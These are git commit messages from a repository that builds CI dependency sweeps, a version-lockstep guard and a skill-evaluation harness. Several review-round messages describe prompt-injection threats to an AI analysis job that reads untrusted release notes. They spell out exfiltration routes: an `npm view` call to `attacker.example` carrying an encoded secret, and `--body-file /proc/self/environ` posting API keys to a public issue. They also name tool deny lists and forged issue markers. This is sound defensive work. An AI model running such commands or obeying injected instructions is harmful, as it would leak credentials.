4. (Suppressed.) The `post` job comment carried the same false claim as
finding 2; corrected in the same change.
Mutation-checked, each failing a different set:
needsManifestEdit -> true -> its unit test + the ext-apps body test
--tools line deleted -> the tool-availability test
61 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.
1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
command PREFIX and constrains nothing after it, so
`npm view x --registry=https://attacker.example/<encoded secret>`
matched the grant. Nothing is published to the issue, so the verbatim
output scan cannot see it at all.
That is the third instance of one mistake in this review — scoping the
command and leaving the flags unbounded — after `Bash(gh api:*)` in
round 1 and `--body-file /proc/self/environ` in round 3. The grant is
removed (the prompt is handed both versions and takes release notes
from `gh release view`), `Bash(npm:*)` joins the deny list, and the
general rule is now in AGENTS.md rather than three war stories: a
prefix grant constrains the command, never its flags.
2. The model's job held `issues: write`. Permissions are scoped per JOB,
not per step, so my round-3 claim that the model only ever saw a
`contents: read` token was false while the posting step shared its
job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
model), `post` (`issues: write`, runs no model).
The hand-off is an ARTIFACT rather than a job output, because matrix
job outputs collide — every leg writes the same key — which would post
one SDK group's write-up onto the other group's issue. A failed
analysis leg uploads nothing, which is not fatal: the download is
`continue-on-error` and the post is gated on the file existing, and
the issue then lands in exactly the un-analyzed state the round-2
retry path picks up.
3. Issue markers were trusted without provenance. This repo is public, so
anyone can open an issue whose body starts with the current target's
marker — and close it — to suppress the real upgrade issue
indefinitely, or use a malformed target to throw in `semver.lt` every
run. `sweepIssues` now requires BOTH the automation author (with the
`[bot]` suffix normalized, since gh and the REST API spell it
differently) and the `chore` + `dependencies` labels an outsider
cannot set. Marker targets are validated with `semver.valid`.
4. Comment markers had the same gap, and my round-3 fix had addressed the
wrong layer: it stopped splitting comments on newlines but still
reduced each to its body, discarding the only field that makes a
marker mean anything. `issueComments` now returns `{author, isBot,
body}`, and both consumers require the automation — so a forged
analysis marker no longer suppresses the retry and a forged
supersession marker no longer suppresses the note. Being a bot is not
enough; it has to be ours.
The test fake mattered more than the assertions here: comment fixtures
were plain strings, so every one was implicitly automation-authored
and no test could have expressed a forgery at all.
Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.
Mutation-checked, each failing a different set:
isSweepAuthored -> true -> 3 tests (unit + 2 e2e)
isAutomationComment -> true -> 3 tests (unit + 2 e2e)
semver.valid filter removed -> 1 test
Bash(npm view:*) restored -> 1 test
issues: write re-added to analyze -> 1 test
58 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings, including one suppressed. Three fixed outright; the
fourth is fixed as far as this PR can reach, with the remainder tracked
in #2269 rather than papered over.
1. (Suppressed finding, and the most consequential.) The comment lookup
was `gh api --jq '.[].body'` split on newlines, which destroyed the
comment boundaries — a body is multi-line, so every LINE became its
own entry. Both consumers read a line as though it were a whole
comment and both use `startsWith`, so a maintainer quoting
`<!-- sdk-watch:analysis -->` at the start of any line would have
permanently convinced the sweep that issue was analyzed, and the retry
added in round 2 would never fire for it again. The same held for the
supersession marker.
`issueComments` now fetches `--paginate --slurp` and parses JSON,
mapping whole `body` strings. The test fake was part of the problem —
it returned newline-joined text, which made the broken parse look
correct because it could never produce a multi-line body — so it now
returns the real wire shape, an array of pages of comment objects.
Note the round-2 test written for this class checked INLINE quoting
and passed. The unit was correct; the transport feeding it was not.
2. A CLOSED matching issue was being re-queued for analysis. Two
different questions about the same match had been collapsed into one:
whether it suppresses creation (yes, whatever its state — that is why
`sweepIssues` reads `--state all`) and whether it should be
re-analyzed (only if open). A closed issue has no analysis marker
almost by definition, so it was handed to the analyze job and would
have drawn a fresh automated comment nightly, re-arguing the "not
planned" decision that `--state all` exists to respect. Gated on
`match.state === "OPEN"`, with the closed case logged rather than
passed over in silence.
3. The docs contradicted the code in three places — AGENTS.md, the
workflow header and `formatFiledOutput` all still said analysis runs
only for newly created issues. All three now describe the same rule,
including both exclusions and why they differ: an already-analyzed
issue is excluded to avoid a nightly duplicate, a closed one because
closing it was a decision.
4. The model retains a secret-exfiltration path: `claude-code-action`
copies its environment into the model's, `Read` is genuinely needed to
inspect how `core/` uses the SDK, and `analysis` is model-controlled
text this workflow publishes. Removing the write-capable `gh` tools
closed the posting channel, not the output channel.
Landed here as a BACKSTOP, and labelled as one in the workflow so it
is not read as settled: the posting step refuses any analysis
containing ANTHROPIC_API_KEY or the job's GITHUB_TOKEN verbatim,
matched with shell pattern matching so no secret reaches an argv. An
injection that encodes the value defeats it.
The real fix is workload identity federation
(`anthropic_federation_rule_id` + `id-token: write`, and no
`anthropic_api_key` at all), which needs an Anthropic-side federation
rule and org UUID that do not exist and cannot be created from a pull
request. Filed as #2269 with the exact YAML change and acceptance
criteria, boarded at Todo/Medium in v2.6.0. AGENTS.md and the workflow
both point at it rather than describing this job as secure.
Mutation-checked, each failing exactly one test:
newline splitting restored -> the multi-line-comment test
`state === "OPEN"` guard removed -> the closed-issue test
49 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real. The first is a security hole introduced by
round 1's own fix.
1. The analysis job could have published live secrets. Round 1 pinned
`Bash(gh issue comment <N>:*)` to the tracked issue and treated that
as scoping, but a `Bash(...)` grant matches a command PREFIX and says
nothing about the flags that follow — so
`gh issue comment <N> --body-file /proc/self/environ` matched it, and
this job's subprocess environment holds ANTHROPIC_API_KEY and
GITHUB_TOKEN. A prompt injection from upstream release notes could
have posted live credentials into a public issue.
The model now has no tool that can write anywhere. It returns its
write-up as `--json-schema` structured output, and a deterministic,
model-free step posts it: the body arrives through the environment
rather than the command line, so nothing in it can be read as a flag
or a path, and the issue number comes from the matrix. That step is
the only thing in the job holding a token that can write.
WebFetch is denied as well. It was not raised, but with `Read`
available an outbound fetch the model controls is the same
exfiltration channel by another route; `gh release view` already
covered the need. The remaining grant is read-only and accepts no
attacker-chosen file path.
The general rule is now in AGENTS.md rather than only this instance:
a prefix grant on any command that accepts a file path is an
arbitrary-file read with a publish attached.
2. Issue existence was standing in for analysis completion. A failed or
timed-out `analyze` job left an issue the next sweep matched, emitted
`[]` for, and reported as a green no-op — so the promised analysis was
never retried. The posting step now stamps ANALYSIS_MARKER on its
comment, and a sweep finding an existing issue without one re-queues
it. The marker is matched with `startsWith`, so a maintainer quoting
it cannot suppress the retry.
3. A failed supersession note was unrecoverable. Creation succeeding and
the note failing left a state where every retry matched the target's
own marker and skipped reconciliation entirely, so the note was never
posted. An existing issue is now ADOPTED rather than skipped: the loop
takes its number and runs the same follow-up it would for a new one.
The existing announced-marker check prevents duplication, and a
`stale.number === number` guard stops an issue superseding itself.
Findings 2 and 3 share one restructure — replacing the early `continue`
with adoption is what gives both the retry path.
ANALYSIS_MARKER is necessarily duplicated in the workflow, since the
posting step is shell. Drift would be invisible from either file alone
and would make every issue read as permanently unanalyzed, so a test
asserts the workflow contains the exact constant.
Mutation-checked, each failing a different minimal set:
if (match) continue; restored -> supersession-retry + re-queue tests
hasAnalysis -> always true -> re-queue + hasAnalysis tests
workflow marker misspelled -> the drift-guard test
47 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real, all fixed.
1. The analysis job's tool grant was too broad. `Bash(gh api:*)` against a
token holding `issues: write` would have let an injected instruction
PATCH, close or relabel any issue in the repo — and this agent reads
untrusted upstream release notes by design, so the prose constraints
in the prompt are not a control. `gh api` is gone; the two
mutating-capable commands are pinned to the matrix issue by NUMBER, so
a call against any other issue does not match the prefix and is
denied. `--disallowedTools` now names the file-writing tools and
`git`/`gh pr`/`gh issue edit`/`gh issue close` explicitly, so a later
edit that widens the whitelist cannot silently restore them. The
prompt states the exact command shape the grant permits.
2. Targeting the highest `latest` in a lockstep group was wrong in both
directions. npm publishes a release one package at a time, so a sweep
landing mid-publish would have told maintainers to move all four
packages to a version three of them do not have — and written a
marker for that version, which would then suppress the real filing
once the publication completed, so the release would never be tracked
at all. The target is now the LOWEST `latest` across the group: the
newest version the whole group has actually reached. That stays
actionable during a partial publish (on 2.0.0 it files 2.1.0 rather
than going silent), waits correctly when only the in-flight half is
ahead, and produces a different marker when the publish completes so
the real release gets its own issue. The body explains itself when a
`Latest` in the table sits above the target.
3. A failure after an irreversible issue creation lost the issue. The
sweep exited before emitting `filed`, so the issue never reached the
analysis job — and the next night's retry would match its own marker,
emit `[]`, and leave it permanently unanalyzed with nothing left to
notice. Each group is now isolated, `filed` is appended the moment an
issue exists, and the emit happens in a `finally`. The run still fails
afterwards, loudly, but never at the cost of the record. The analyze
job's gate changed to match: it consumes `filed` whenever the sweep
named something, whether or not the sweep job itself went green.
Fixing 3 exposed a second instance of the bug CI caught earlier: the
test helper passed `output: undefined` to suppress the emit, but a
destructuring default fires on `undefined`, so it selected
`process.env.GITHUB_OUTPUT` instead of overriding it. Once the emit moved
into a `finally`, the throwing cases reached it and leaked a real
`filed=[]` into the runner's job-output file. The helper now passes
`null`, which suppresses a default and is falsy. Verified by running the
suite with `GITHUB_OUTPUT` set and confirming no file is created.
Test fixtures that bumped a single package's `latest` were modeling a
partial publication without meaning to, so `groupAt`/`latestAt` now make
"completed lockstep release" and "publication in flight" separate,
named cases. 42 tests in this file, 580 across `scripts/`, green with
the runner's environment set and unset.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Staying abreast of SDK releases — OAuth especially — was a habit rather
than a mechanism. This adds the third of this repo's issue-filing sweeps,
after the monthly dependency refresh (#2229) and the daily Dependabot
alert sweep (#2233), following the same shape as both:
npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR
scripts/sdk-watch.mjs compares the @modelcontextprotocol/* packages
installed on v2/main against the registry and files one tracking issue
per upstream that is behind — labeled v2 + chore + dependencies, and
milestoned to the nearest dated open bucket.
Four design points, each verified against this repo first:
* Two upstreams, two issues. client/core/server/server-legacy ship
from typescript-sdk in lockstep; ext-apps ships from its own repo.
* The comparison is against the INSTALLED version, not the declared
range. ext-apps is `^1.7.4` with 1.7.5 already in the lockfile, so
comparing the declared string would file an issue for a bump
`npm install` has already taken.
* A fifth @modelcontextprotocol/* package added to the root manifest
and not added to SDK_GROUPS fails the sweep loudly, rather than
going unwatched behind a green run.
* No board write and no issue closing. No PROJECT_TOKEN exists in
this org, so the issue arrives labeled and milestoned for
/issue-triage to board — as dependency-refresh.mjs already does. A
further release files its own issue and leaves a supersession
comment on the older one; closing stays a maintainer act.
The analysis half runs Claude, not Copilot. #1063 sketched "a copilot
agent running Opus", and neither half of that is reachable from a
workflow: assigning copilot-swe-agent produces a pull request — the
artifact #2229/#2233/#2235 removed from this repo — and its model cannot
be selected programmatically, since replaceActorsForAssignable takes no
model parameter. So the analyze job uses anthropics/claude-code-action
with --model claude-opus-5, told to post one comment and denied every
file-writing tool, running on the ANTHROPIC_API_KEY org secret. It runs
only over issues the sweep just created, which holds it to one analysis
per release rather than a near-identical comment every night.
Upstream release notes are untrusted input to that job, so its system
prompt says so and its --allowedTools list is a whitelist with no Edit,
Write or git; the job's token carries contents: read only.
36 tests cover the pure halves directly and main() through an injected
spawn, with the silent-failure cases first: a registry error must not
report a clean sweep, and an already-filed target must not refile.
Closes#1063
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
All four suppressed comments, none with an inline thread to answer.
- `docs/quality-gate.md`: the second-tier explanation was a paragraph
*inside* the script table, which breaks the table — the `local:gate` and
`pack:verify` rows below it would have rendered as pipe-delimited text.
Folded back into the `verify:dep-lockstep` cell.
- `verify-dep-lockstep.mjs`: the module header and `declaredPackages`'
summary line both still named two fields after the implementation grew a
third. Both now name all three, and the header says which field is
excluded and points at the reason.
- `AGENTS.md`: "Nothing keeps the surviving copies aligned, and nothing
gates them" contradicted the sentence added later in the same paragraph.
Split the two claims — nothing aligns them *automatically*, and the guard
now rejects the drift; the bump is still by hand.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
`clients/cli` resolved `@types/node` 24.13.1 against the root's 24.13.3.
Neither client declares it — #2196 consolidated it to the root — so the cli
copy arrived transitively via `@types/express` and was constrained by no
range of ours. `verify:dep-lockstep` reported OK and was right to: it
compares only packages that reach one `tsc` **program** from two installs,
and no one program sees both copies.
Fixes the instance and the class, which the issue notes are not exclusive.
**The class.** The guard grows a second tier alongside the program-derived
one, asking the weaker but broader question `AGENTS.md`'s "one version per
install-crossing dependency" rule actually states: does a package this repo
declares anywhere resolve to two versions across our installs at all? The
candidate set is every name in any install's `dependencies`/`devDependencies`
that more than one install holds a **top-level** copy of — 17 packages today.
Nested copies are excluded: one exists because some dependency asked for a
different version, so it is that dependency's range, not ours.
Neither tier subsumes the other. The program tier sees a copy no manifest
names (the `@modelcontextprotocol/sdk` case, arriving through another
package's `.d.ts`). The declared tier sees a transitive copy no program
loads (this issue), two *clients* disagreeing with no root copy involved
(`@types/react`, web against tui), and the peer shadows `AGENTS.md` calls out
as ungated — `eslint`, `typescript`, `vitest`.
Deny-by-default, with its own empty `TOLERATED_DECLARED_SKEW` and the same
within-a-major rule, now stated once in a shared `toleratesSkew` so the two
tiers cannot drift.
**The instance, and three others the new tier surfaced.** All four were
patch-level:
- `@types/node` — cli 24.13.1 vs root 24.13.3. Transitive, so it takes an
`overrides` entry in `clients/cli` (the repo's sanctioned lever for a
transitive pin), at the root's own `^24.12.4` rather than a frozen number.
- `@types/react` — web 19.2.18 vs tui 19.2.17.
- `react` — web 19.2.8 vs root/tui 19.2.7.
- `@vitejs/plugin-react` — web 6.0.5 vs root 6.0.2.
The last three are `npm update` in the stale install: it moves the lockfile
within the declared range without widening a range, which matters for the
root `react ^19.0.0` that `ink`'s externalized-bundle exemption depends on.
No declaration or range changed.
Tests: 4 end-to-end cases (the fixture gains manifest deps and a client-side
`solo` install, so the skew is real and no program holds both copies) and 13
helper cases.
Closes#2226
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
`skills:eval` ran every case with `--max-turns 1`, so it measured one
thing: whether a skill is the model's FIRST tool call. That is right for a
skill a user reaches directly, and it leaves a whole class unmeasured — a
skill reached from inside another skill's body. `testing` tells the model
that picking a fixture is `/test-servers` and that it has to load it, and
`test-servers` scores 5/5 while every one of those five cases asks for it
by name. A skill only ever reachable through a hand-off would score a
clean 100% with the hand-off silently never firing.
An eval case is now one of two shapes, and exactly one:
{ "prompt": "…", "expect": "test-servers" } first move, 1 turn
{ "prompt": "…", "chain": ["testing", "test-servers"] } hand-off, 14 turns
A chain must END with the skill whose file it lives in. The case exists to
measure whether THIS skill is reachable, so the file that goes red is the
one belonging to the skill that stopped being reached; anchoring on the
first link would file a `test-servers` measurement under `testing`, where
a `test-servers` description edit would never be seen. Links are checked
against the repo's model-invoked set, which is why both `verify:skills`
and `collectCases` now validate in a second pass — `test-servers` sorts
before `testing`, so a per-directory check would reject a live chain as
unknown purely because of where the alphabet put it.
Scoring is an ordered SUBSEQUENCE, not a prefix and not a contiguous run:
the model may load something before the chain starts and something
unrelated in between, and neither changes the claim that A led to B.
`collectSkillInvocations` therefore returns an ordered array rather than a
Set — a B, A, B run has to stay distinguishable from one that never
reached B from A.
The two rates are reported in separate columns and never summed. A
hand-off is a second-hop load over many turns; a first-move rate is the
model's opening move. `CHAIN_MAX_TURNS` (14) and `CHAIN_THRESHOLD` are
their own knobs for the same reason, and `CHAIN_THRESHOLD` defaults to
**0.5** rather than inheriting 0.8: see the measurement below.
Read-only containment no longer leans on `--max-turns 1`, which was doing
much of it by itself. The deny list gains the agentic and network tools —
`Task` in particular, whose subagent the flag does not reach.
Measured, `skills:eval -- test-servers`:
First move (1 turn) 7/7 at 100%, unchanged
Hand-off (14 turns) 67% and 33% at RUNS=3
So the hand-off is real and unreliable — which is the fact nothing could
observe before this change, and the reason 0.5 rather than 0.8 is the
default bar: at 0.8 both committed cases are red no matter how strongly
the first skill points at the second, and the column stops carrying
signal. A `["pr-flow", "test-servers"]` probe measured 0% and was dropped
rather than kept: `pr-flow` says nothing about fixtures, so the case had
no lever short of broadening a description onto another skill's ground.
Both findings are written up in `docs/skill-authoring.md`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01ABdTnqyBodw6mHVVkGehqe
Signed-off-by: cliffhall <cliff@futurescale.com>
- Reconcile on (package, manifest, GHSA) tuples, not GHSAs alone.
Dependabot alerts are per manifest and this repo has five lockfiles,
so the same advisory legitimately covers the root install and a
client. Keyed on the GHSA alone, another manifest's still-filable
alert could vouch for this one and clear an issue whose own alert is
open with no bump available.
- Rename the cleared-date test: it asserts the NEW date is taken when
the reason changes, which is the opposite of what its name said.
- AGENTS.md no longer implies both sweeps select a dated milestone.
Only the security sweep filters undated buckets; the monthly one's
selection is raised on #2239.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- Filter to the npm ecosystem. Dependabot alerts are not npm-only and
this repo has a Dockerfile, so an alert against it would have been
parsed as a lockfile, thrown, and aborted the whole daily sweep
before any npm group ran. A non-npm alert is now reported loudly with
its GHSAs so a human can file it, and readManifest no longer lets one
unparseable manifest take the run down.
- Distinguish a superseded bump from a closed one. GitHub can revise
first_patched_version, moving an advisory to a different key while it
stays open; reporting that as "fixed or dismissed" would stand down a
live exposure. The reason now reads from the open GHSA set.
- Only claim security-update PRs are off when the run actually read the
setting. The guard degrades to UNVERIFIED, and an issue asserting
what the run could not confirm is worse than one that stays quiet.
- README.md and AGENTS.md: scripts/ now holds repo automation run from
CI, not only build/verify tooling.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Three reviews I missed: my poll called the reviews endpoint without
--paginate, so it only ever read page one — the same pagination bug
this PR was reviewed for.
- Reconcile marked issues whose bump has left the open alert feed
entirely. openAlerts asks for state=open, so a fixed or dismissed
alert simply vanishes: its group is never built, the loop never
visits it, and its issue kept asserting a vulnerability with a live
Todo/High card. Both cases are covered — the zero-alert run, which
used to return before loading issues at all, and a vanished group
while other groups remain.
- Ask for a PARENT-SCOPED overrides entry when the package is also
declared directly. npm rejects an override contradicting a direct
dependency with EOVERRIDE, so the guidance for the mixed case would
not have applied. The issue now prints the exact nested JSON.
- Correct the body's NOTE: severity, range, GHSA and CVE are the
advisory's own. Only the installed versions, their paths and range
applicability are verified against v2/main.
- Stop the new-advisory comment claiming the body marker "now covers"
the advisory; it is posted before the edit, so that is false at
posting time. It speaks for its own marker instead.
- Cover the successful two-field board placement, not only its failure
modes.
- AGENTS.md: the monthly sweep NEVER boards; only the security sweep
does, and only with a PAT. The old wording promised a card the
monthly job cannot create.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- `--slurp` the paginated alert feed; a bare `--paginate` emits one JSON
array per page and `JSON.parse` rejects it past 100 open alerts.
- Put `fixedIn` in the marker and in the existing-issue lookup, so a
second bump of one package cannot merge into the first one's issue.
- Only an authorization-shaped failure of the `automated-security-fixes`
read becomes UNVERIFIED; a rate limit or 5xx now throws.
- Distinguish "card never added" (benign, triage picks it up) from
"card added, field not set" — the latter finishes every group, then
fails the run.
- Don't board an unmilestoned issue at Todo; `Incoming` <=> no milestone.
- Comment before rewriting the marker, and give the comment its own
marker, so a failed comment cannot be skipped forever.
- Ask a direct dependency's range to be raised, not widened to `>=`.
- Test `main()` through an injected spawn, as the sibling sweep does.
- Correct the docs that named the removed release-time `npm audit fix`,
the ones promising an unconditional guard, and the sibling sweep's
issue body claiming security updates remain enabled.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2233 — the alert-consuming half of #2229. #2235 removed
`.github/dependabot.yml`, ending Dependabot's version-update PRs; this
ends its security-update PRs and replaces them with a daily sweep that
turns the alerts into ordinary board items.
- `scripts/dependabot-alerts.mjs` groups alerts by
`(package, manifest_path, first_patched_version)` — one issue per
BUMP, not per advisory — re-checks each vulnerable range against
`v2/main`'s own lockfile before filing, and keys idempotency on a
marker comment naming every GHSA the issue covers.
- `.github/workflows/dependabot-alerts.yml` runs it daily and on
`workflow_dispatch`, with `vulnerability-alerts: read`.
- `semver` is declared at the repo root, per Dependency placement:
`scripts/` is root-owned code with no manifest of its own.
- The sibling `dependency-refresh` comments no longer claim security
updates are unaffected, and AGENTS.md gains the flow both halves
now follow.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Corrects the rationale for the five-positive floor, which was wrong. The
claim was that five prompts make a skill's rate flake-tolerant. The
evaluator scores each prompt on its own `passes / RUNS`, so the number of
prompts never enters any rate and cannot affect a threshold crossing —
`RUNS` is the only knob that does. The floor is worth keeping for
breadth: one prompt measures one phrasing, and a description that fires
on a single narrow shape would pass on its one lucky case.
The bad reasoning had reached five places — AGENTS.md, the authoring
checklist, the JSDoc, the check-site comment and the regression test —
plus the emitted message, which asserted it too. All corrected.
Moves `MIN_POSITIVE_CASES` above `validateEvalCases`'s JSDoc. It had been
inserted between the two, so the `@param`/`@returns` block documented the
constant and the function had none.
Replaces the two remaining cases answerable from `AGENTS.md`: `local-dev`'s
web-client-startup case (the rules file gives the exact command) and
`project-structure`'s clients/web-versus-core case (its tree answers it).
Both replacements probed 3/3 and measure 100%.
RUNS=5 skills:eval: 63/63, every local-dev and project-structure case at
100%. local:gate passes, 34/34.
Signed-off-by: cliffhall <cliff@futurescale.com>
Replaces the last `project-structure` case that `AGENTS.md` answers — a
helper used by the CLI and TUI belongs in `core/` per its own directory
tree. This was also the only case below 100% in the previous suite, so
the static reading and the score agreed. The replacement targets the
skill's first stated purpose, locating code, which `AGENTS.md` gives no
method for; it probed 3/3 and now measures 100%.
Extends the truncation guard's tests to `when_to_use`. The guard loops
over both fields but only `description` was pinned, so dropping the
second from that list would have gone unnoticed. The new case pairs a
quoted description with an unquoted `when_to_use` and asserts the
description is not implicated.
Scopes the negative-case requirement in the prose to model-invoked
skills; round 2 scoped the checklist but left this sentence saying
"every skill file".
Refreshes the stale `~2.8k of 4k` listing figure. The other instance is
past-tense about the three-to-nine experiment and stays, now said
explicitly so two numbers do not look like a disagreement.
Records the eval's real blind spot: all three cases review identified as
`AGENTS.md`-answerable were scoring 80-100% when flagged, so a high score
does not clear a case of overlap. The eval can show a case failing; it
cannot show a passing case is well-aimed.
RUNS=5 skills:eval: 63/63. local:gate passes, 34/34.
Signed-off-by: cliffhall <cliff@futurescale.com>
Enforces the five-positive standard this PR established rather than only
describing it. `validateEvalCases` checked `positives === 0`, so a skill
could regress to a single prompt and still pass the gate. At RUNS=5 one
case is 20 points of that skill's reading, so a one- or two-case skill
reports a rate a single flake can move across the threshold — well-formed
to the checker, meaningless as a measurement. Zero positives keeps its
own clearer message so the common mistake keeps its diagnosis.
Scopes the eval requirement to model-invoked skills in the checklist. A
name-only skill has no eval file because nothing can measure a trigger
only a human types, so an eval there is unrunnable rather than redundant.
Aligns checklist item 1 with the `#` hazard from round 1; it named only
the unquoted colon, which is the louder of the two failure modes.
Four test fixtures asserted on one-positive eval files and legitimately
went red; they now build positives from the exported MIN_POSITIVE_CASES.
The all-positive row keeps testing the missing-negative path, with a new
row for the below-floor case. 388/388 script tests pass.
No skill description or eval case changed, so trigger behaviour is
unaffected and skills:eval is unchanged from the previous round.
Signed-off-by: cliffhall <cliff@futurescale.com>
Fixes an unquoted `#` in `board-ops`'s description. YAML reads ` #28`
onward as a comment, so the parser — and Claude Code, which parses the
same way — only ever saw the description up to `Covers board`. Both
board numbers and the option-deletion hazard were absent from the
listing that decides whether the skill fires, and every check stayed
green because they look for an *empty* description and a truncated one
is still non-empty. Quoting restores all 271 characters, which is the
whole of the 3,144 vs 3,234 discrepancy the review flagged.
`parseSkill` now compares the raw scalar against what YAML kept and
errors on any loss, so the next one fails the gate rather than shipping.
Tests cover the truncated case and a legitimately quoted `#`.
Re-aims the `project-structure` Node-backend case, which `AGENTS.md`
answers via its tree and which had oscillated 80 -> 100% across runs —
the partial-overlap signature this PR documents. The replacement names
no internals and probed 4/4.
Makes the documented probe reproduce the harness: the same
`--disallowedTools` flags as `runPrompt` rather than `--allowedTools`,
`printf` instead of zsh's `print -r`, and `jq` over `tool_use` blocks
instead of a `grep` that also matched MCP server names in the init
event. The first-tool-call table is relabelled as an unrestricted probe,
since the eval cannot reach for Bash at all.
RUNS=5 skills:eval: 63/63, 62 at 100%; restoring those 90 characters
displaced nothing.
Signed-off-by: cliffhall <cliff@futurescale.com>
Adds a multi-name filter to `npm run skills:eval` so a set of related
skills can be iterated together, and makes an unknown name a hard error
rather than an empty run — a typo would otherwise report a green 0/0
that reads exactly like a clean pass of the skill that was meant.
Re-aims two `local-dev` cases and one `test-servers` case that partially
overlapped `AGENTS.md`. Partial overlap oscillates across runs rather
than sitting at zero, so it reads as eval noise instead of a defect in
the case; `docs/skill-authoring.md` now records that failure mode and
the observed scores.
Widens the `test-servers` description to the "Use when …" shape and
points the `testing` skill at it, since anything needing a real server
to run against is a procedure `testing` does not carry. That growth
moves the skill listing from 2,921 to 3,144 of 4,000 characters, so the
figure recorded in AGENTS.md is updated to match.
Signed-off-by: cliffhall <cliff@futurescale.com>
`skills:eval` was at 38/46 with several skills measuring 0-33%. The low
scores were mostly bad eval cases rather than bad descriptions, for two
reasons that were nowhere written down:
- The harness runs each case with `--max-turns 1`, so the skill has to be
the model's FIRST tool call. A prompt asking "how does X work here", or
naming a concrete file, sends the model to Read/Grep first — a better
answer to the question, scored as a miss. Every 0% case was one of these.
- `AGENTS.md` is resident on every turn, so a prompt it already answers is
answered without any skill and the case can never pass.
Replace the cases that measured the wrong thing, expand every model-invoked
skill from 3 to 5 positives (negatives kept) so one flake cannot cross the
threshold, and reshape `local-dev`'s description to the action-first form.
Add `docs/skill-authoring.md` with the case shapes that fire, the ones that
cannot, and the probe-then-measure loop.
RUNS=5 npm run skills:eval: 63/63 at or above threshold, 60 at 100%,
all 18 negatives clean.
Closes#2202
Signed-off-by: cliffhall <cliff@futurescale.com>
- Complete the bundler external lists against the AGENTS.md invariant rather
than against today's reachability: chokidar, hono and react to clients/cli,
chokidar and hono to clients/tui, react to the web runner. Every root-declared
package core/ imports at runtime is now named in all three, so a new import in
core/ cannot silently inline one.
- AGENTS.md: split the single over-broad bullet in two. commander, open,
@hono/node-server, vite and @vitejs/plugin-react are root dependencies reached
only from client code, so they are not part of the core/ set and need naming
only in the external list of the client that imports them. Give the
vitest.shared.mts pins their own rule, stating the react/react-dom exception
instead of implying every root-owned package is aliased to the root.
- vitest.shared.mts: the umbrella comment now says root-OWNED rather than root
runtime dependency — express is test-only and lives in the root
devDependencies — and notes that the list is deliberately not the complete
root set, since a package that resolves unambiguously needs no pin.
- local-dev skill: document why react/react-dom stay client-pinned, which the
previous text contradicted.
npm run local:gate and npm run verify:bundle-externals pass.
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 3. Docs only.
The round-2 wording said every surviving copy is pinned by its holder's peer
range, in the same paragraph that documents cli's @types/node 24.13.1 against
the root's 24.13.3 — a transitive, which no peer range constrains. The rationale
contradicted its own example.
Both files now split the two mechanisms and grade them:
- A peer copy is constrained by its holder's peer range, which is a real pin only
when that range is exact. @vitest/browser-playwright pins vitest to a single
version (hence the exact trio). eslint-plugin-react-refresh accepts ^9 || ^10,
so the eslint copies agree only because npm resolves the same latest in both
installs — a coincidence, not a guarantee.
- A transitive copy is constrained by nothing of ours, and cli's @types/node has
already diverged. It was 24.13.1 on v2/main too: a declared ^24.12.4 still
loses to a nearer transitive.
Nothing gates either, and verify:dep-lockstep is not that gate.
Signed-off-by: cliffhall <cliff@futurescale.com>
